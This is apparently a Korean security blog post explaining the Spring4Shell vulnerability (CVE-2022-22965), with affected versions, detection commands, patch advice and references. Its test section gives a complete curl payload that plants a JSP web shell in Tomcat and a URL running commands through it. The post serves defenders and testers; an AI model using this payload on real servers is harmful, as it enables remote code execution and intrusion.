본문으로 바로가기

Spring4Shell 취약점(CVE-2022-22965) 설명 및 조치 방법

 

※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약점이며, 22년 3월 30일에 공개된 CVE-2022-22965이 Spring Shell 취약점이다.

 

1. 용어 설명

용어 설명
Spring Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다.
Spring-WebMVC Servlet API와 Servlet 컨네이터로 이루어진 웹 프레임워크로 멀티 스레드 방식이다.
Spring-WebFlux Reactive stack web framework로 비동기(async) non-blocking 방식이다. WebMVC 보다 적은 리소스로 더 많은 트래픽 처리가 가능하다.

 

2. 취약점 요약

항목 내용 비고
CVE CODE CVE-2022-22965 SpringShell, Spring4Shell 취약점이라고 불림
CVSS 점수 9.8(CRITICAL)  
취약 내용 Spring Core에서 발생하는 원격코드실행 취약점  
취약 대상 JDK 9 이상을 사용하는 경우 이 5가지 조건을 모두 만족해야 함
Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전을 사용하는 경우
아파치 톰캣(Apache Tomcat)을 사용하는 경우
프로젝트가 WAR으로 패키징 되어있을 경우
Spring-WebMVC 또는 Spring-WebFlux을 사용하는 경우
조치 방법 Spring Framework 5.3.18, 5.2.20 버전으로 업데이트  

 

3. JDK 버전 확인 방법

- 아래의 명령어를 입력하여 JDK버전을 확인한다. 

java -version

 

4. Spring 프레임워크 사용 유무 확인 방법

- 프로젝트가 jar, war 패키징 되어 있는 경우 zip 확장자로 변경하여 압축을 풀고 아래와 같은 명령어를 입력한다.

find . -name spring-beans*.jar
find . -name spring.jar
find . -name CachedIntrospectionResuLts.class

 

5. 공격 원리

HTTP 요청 헤더에 웹쉘을 생성하는 페이로드를 보내고, 이후 해당 웹쉘을 제어하는 명령어를 보내 원격코드를 실행한다.

그림1. CVE-2022-22965 공격원리
그림2. CVE-2022-22965 공격 예시1

※ 자세한 공격원리는 아래 참고URL을 통해 확인하길 바란다. 

 

6. 점검 방법(POC, Exploit)

아래의 예시는 Spring-WebMVC 환경을 기준으로 하였으며, 다른 방식의 점검방법이 필요한 사람은 구글에 "CVE-2022-22965 POC"라고 검색해보길 바란다.

 

- 테스트 웹 서버에 웹 쉘을 생성하는 페이로드 전송.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8088

 

- 생성된 웹 쉘에 명령어를 보내 결과값을 확인.

localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami

 

그림3. CVE-2022-22965 공격 예시2

 

7. 참고 URL

NVD - CVE-2022-22965 (nist.gov)

 

NVD - CVE-2022-22965

CVE-2022-22965 Detail Current Description A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If

nvd.nist.gov

 

보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

CVE-2022-22965(스프링셸): RCE 취약점 분석 및 완화 (paloaltonetworks.com)

 

CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

CVE-2022-22965, aka SpringShell, is a remote code execution vulnerability in the Spring Framework. We provide a root cause analysis and mitigations.

unit42.paloaltonetworks.com

 

Spring4Shell: 스프링 프레임워크 |의 제로 데이 취약점 Rapid7 블로그

 

Spring4Shell: Zero-Day Vulnerability in Spring Framework | Rapid7 Blog

Rapid7 confirms the existence of an unpatched, unauthenticated remote code execution vulnerability in Spring Framework, known as Spring4Shell.

www.rapid7.com

 

Spring4Shell: The zero-day RCE in the Spring Framework explained | Snyk

 

Spring4Shell: The zero-day RCE in the Spring Framework explained | Snyk

Security resources like Lunasec, Rapid7 and Praetorian confirmed that the vulnerability is real, and in the meantime Spring has already released a new version

snyk.io